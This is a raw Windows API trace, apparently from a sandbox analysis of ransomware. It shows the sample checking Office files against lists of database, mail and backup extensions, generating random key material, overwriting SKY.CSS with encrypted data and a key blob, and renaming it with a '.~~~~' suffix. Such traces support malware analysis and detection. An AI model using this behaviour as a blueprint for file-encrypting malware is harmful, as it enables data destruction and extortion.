	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".accdb") returned 0x0
	[0144.522] lstrlenW (lpString=".DBX") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DBX") returned 0x0
	[0144.522] lstrlenW (lpString=".MDT") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".MDT") returned 0x0
	[0144.522] lstrlenW (lpString=".SQB") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".SQB") returned 0x0
	[0144.522] lstrlenW (lpString=".vhd") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".vhd") returned 0x0
	[0144.522] lstrlenW (lpString=".bac") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".bac") returned 0x0
	[0144.522] lstrlenW (lpString=".mdf") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".mdf") returned 0x0
	[0144.523] lstrlenW (lpString=".BAK") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".BAK") returned 0x0
	[0144.523] lstrlenW (lpString=".BAC") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".BAC") returned 0x0
	[0144.523] lstrlenW (lpString=".dbs") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dbs") returned 0x0
	[0144.523] lstrlenW (lpString=".vhdx") returned 5
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".vhdx") returned 0x0
	[0144.523] lstrlenW (lpString=".NDF") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".NDF") returned 0x0
	[0144.523] lstrlenW (lpString=".dat") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dat") returned 0x0
	[0144.523] lstrlenW (lpString=".DBS") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DBS") returned 0x0
	[0144.523] lstrlenW (lpString=".CKP") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".CKP") returned 0x0
	[0144.523] lstrlenW (lpString=".edb") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".edb") returned 0x0
	[0144.523] lstrlenW (lpString=".PST") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".PST") returned 0x0
	[0144.523] lstrlenW (lpString=".dbf") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dbf") returned 0x0
	[0144.523] lstrlenW (lpString=".SQL") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".SQL") returned 0x0
	[0144.523] lstrlenW (lpString=".pst") returned 4
	[0144.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".pst") returned 0x0
	[0144.524] lstrlenW (lpString=".dbv") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dbv") returned 0x0
	[0144.524] lstrlenW (lpString=".SDF") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".SDF") returned 0x0
	[0144.524] lstrlenW (lpString=".dtxs") returned 5
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dtxs") returned 0x0
	[0144.524] lstrlenW (lpString=".db3") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".db3") returned 0x0
	[0144.524] lstrlenW (lpString=".OST") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".OST") returned 0x0
	[0144.524] lstrlenW (lpString=".dbx") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dbx") returned 0x0
	[0144.524] lstrlenW (lpString=".DB3") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DB3") returned 0x0
	[0144.524] lstrlenW (lpString=".DAT") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DAT") returned 0x0
	[0144.524] lstrlenW (lpString=".VHDX") returned 5
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".VHDX") returned 0x0
	[0144.524] lstrlenW (lpString=".ndf") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".ndf") returned 0x0
	[0144.524] lstrlenW (lpString=".DB") returned 3
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DB") returned 0x0
	[0144.524] lstrlenW (lpString=".sql") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".sql") returned 0x0
	[0144.524] lstrlenW (lpString=".MYD") returned 4
	[0144.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".MYD") returned 0x0
	[0144.525] lstrlenW (lpString=".DBT") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DBT") returned 0x0
	[0144.525] lstrlenW (lpString=".ACCDB") returned 6
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.525] lstrlenW (lpString=".fdb") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".fdb") returned 0x0
	[0144.525] lstrlenW (lpString=".bak") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".bak") returned 0x0
	[0144.525] lstrlenW (lpString=".myd") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".myd") returned 0x0
	[0144.525] lstrlenW (lpString=".DTXS") returned 5
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DTXS") returned 0x0
	[0144.525] lstrlenW (lpString=".ckp") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".ckp") returned 0x0
	[0144.525] lstrlenW (lpString=".dbt") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dbt") returned 0x0
	[0144.525] lstrlenW (lpString=".db") returned 3
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".db") returned 0x0
	[0144.525] lstrlenW (lpString=".TXT") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".TXT") returned 0x0
	[0144.525] lstrlenW (lpString=".MDF") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".MDF") returned 0x0
	[0144.525] lstrlenW (lpString=".bdb") returned 4
	[0144.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".bdb") returned 0x0
	[0144.526] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.526] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0144.527] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.527] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0144.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.528] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26451771961) returned 1
	[0144.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf8dfe50, dwHighDateTime=0x1d60e1e)) 
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37ff28
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ff28 | out: hHeap=0x300000) returned 1
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acb00
	[0144.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d038
	[0144.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acb00 | out: hHeap=0x300000) returned 1
	[0144.529] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.529] GetLastError () returned 0x0
	[0144.529] GetLastError () returned 0x0
	[0144.529] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.529] GetLastError () returned 0x0
	[0144.529] GetLastError () returned 0x0
	[0144.529] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.532] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.532] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.532] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.532] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.533] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.533] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.533] CloseHandle (hObject=0x138) returned 1
	[0144.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d038
	[0144.533] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css.~~~~")) returned 1
	[0144.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d038 | out: hHeap=0x300000) returned 1
	[0144.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.536] GetLastError () returned 0x0
	[0144.536] RtlWakeConditionVariable () returned 0x0
	[0144.536] GetCurrentThreadId () returned 0x9f4
	[0144.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".scr") returned 0x0
	[0144.536] lstrlenW (lpString=".cmd") returned 4
	[0144.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".cmd") returned 0x0
	[0144.536] lstrlenW (lpString=".dll") returned 4
	[0144.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dll") returned 0x0
	[0144.536] lstrlenW (lpString=".bat") returned 4
	[0144.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".bat") returned 0x0
	[0144.536] lstrlenW (lpString=".cpl") returned 4
	[0144.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".cpl") returned 0x0
	[0144.537] lstrlenW (lpString=".sys") returned 4
	[0144.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".sys") returned 0x0
	[0144.537] lstrlenW (lpString=".msc") returned 4
	[0144.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".msc") returned 0x0
	[0144.537] lstrlenW (lpString=".com") returned 4
	[0144.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".com") returned 0x0
	[0144.537] lstrlenW (lpString=".lnk") returned 4
	[0144.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".lnk") returned 0x0
	[0144.537] lstrlenW (lpString=".msp") returned 4
	[0144.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".msp") returned 0x0
	[0144.537] lstrlenW (lpString=".pif") returned 4
	[0144.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".pif") returned 0x0
	[0144.537] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0144.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.539] lstrlenW (lpString=".sqb") returned 4
	[0144.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".sqb") returned 0x0
	[0144.539] lstrlenW (lpString=".ost") returned 4
	[0144.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".ost") returned 0x0
	[0144.539] lstrlenW (lpString=".txt") returned 4
	[0144.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".txt") returned 0x0
	[0144.539] lstrlenW (lpString=".mdt") returned 4
	[0144.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".mdt") returned 0x0
	[0144.540] lstrlenW (lpString=".BDB") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".BDB") returned 0x0
	[0144.540] lstrlenW (lpString=".eql") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".eql") returned 0x0
	[0144.540] lstrlenW (lpString=".DBF") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DBF") returned 0x0
	[0144.540] lstrlenW (lpString=".EQL") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".EQL") returned 0x0
	[0144.540] lstrlenW (lpString=".FDB") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".FDB") returned 0x0
	[0144.540] lstrlenW (lpString=".EDB") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".EDB") returned 0x0
	[0144.540] lstrlenW (lpString=".DACPAC") returned 7
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DACPAC") returned 0x0
	[0144.540] lstrlenW (lpString=".VHD") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".VHD") returned 0x0
	[0144.540] lstrlenW (lpString=".DBV") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DBV") returned 0x0
	[0144.540] lstrlenW (lpString=".dacpac") returned 7
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dacpac") returned 0x0
	[0144.540] lstrlenW (lpString=".sdf") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".sdf") returned 0x0
	[0144.540] lstrlenW (lpString=".accdb") returned 6
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".accdb") returned 0x0
	[0144.540] lstrlenW (lpString=".DBX") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DBX") returned 0x0
	[0144.540] lstrlenW (lpString=".MDT") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".MDT") returned 0x0
	[0144.540] lstrlenW (lpString=".SQB") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".SQB") returned 0x0
	[0144.540] lstrlenW (lpString=".vhd") returned 4
	[0144.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".vhd") returned 0x0
	[0144.541] lstrlenW (lpString=".bac") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".bac") returned 0x0
	[0144.541] lstrlenW (lpString=".mdf") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".mdf") returned 0x0
	[0144.541] lstrlenW (lpString=".BAK") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".BAK") returned 0x0
	[0144.541] lstrlenW (lpString=".BAC") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".BAC") returned 0x0
	[0144.541] lstrlenW (lpString=".dbs") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dbs") returned 0x0
	[0144.541] lstrlenW (lpString=".vhdx") returned 5
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".vhdx") returned 0x0
	[0144.541] lstrlenW (lpString=".NDF") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".NDF") returned 0x0
	[0144.541] lstrlenW (lpString=".dat") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dat") returned 0x0
	[0144.541] lstrlenW (lpString=".DBS") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DBS") returned 0x0
	[0144.541] lstrlenW (lpString=".CKP") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".CKP") returned 0x0
	[0144.541] lstrlenW (lpString=".edb") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".edb") returned 0x0
	[0144.541] lstrlenW (lpString=".PST") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".PST") returned 0x0
	[0144.541] lstrlenW (lpString=".dbf") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dbf") returned 0x0
	[0144.541] lstrlenW (lpString=".SQL") returned 4
	[0144.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".SQL") returned 0x0
	[0144.542] lstrlenW (lpString=".pst") returned 4
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".pst") returned 0x0
	[0144.542] lstrlenW (lpString=".dbv") returned 4
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dbv") returned 0x0
	[0144.542] lstrlenW (lpString=".SDF") returned 4
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".SDF") returned 0x0
	[0144.542] lstrlenW (lpString=".dtxs") returned 5
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dtxs") returned 0x0
	[0144.542] lstrlenW (lpString=".db3") returned 4
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".db3") returned 0x0
	[0144.542] lstrlenW (lpString=".OST") returned 4
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".OST") returned 0x0
	[0144.542] lstrlenW (lpString=".dbx") returned 4
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dbx") returned 0x0
	[0144.542] lstrlenW (lpString=".DB3") returned 4
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DB3") returned 0x0
	[0144.542] lstrlenW (lpString=".DAT") returned 4
	[0144.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DAT") returned 0x0
	[0144.542] lstrlenW (lpString=".VHDX") returned 5
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".VHDX") returned 0x0
	[0144.543] lstrlenW (lpString=".ndf") returned 4
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".ndf") returned 0x0
	[0144.543] lstrlenW (lpString=".DB") returned 3
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DB") returned 0x0
	[0144.543] lstrlenW (lpString=".sql") returned 4
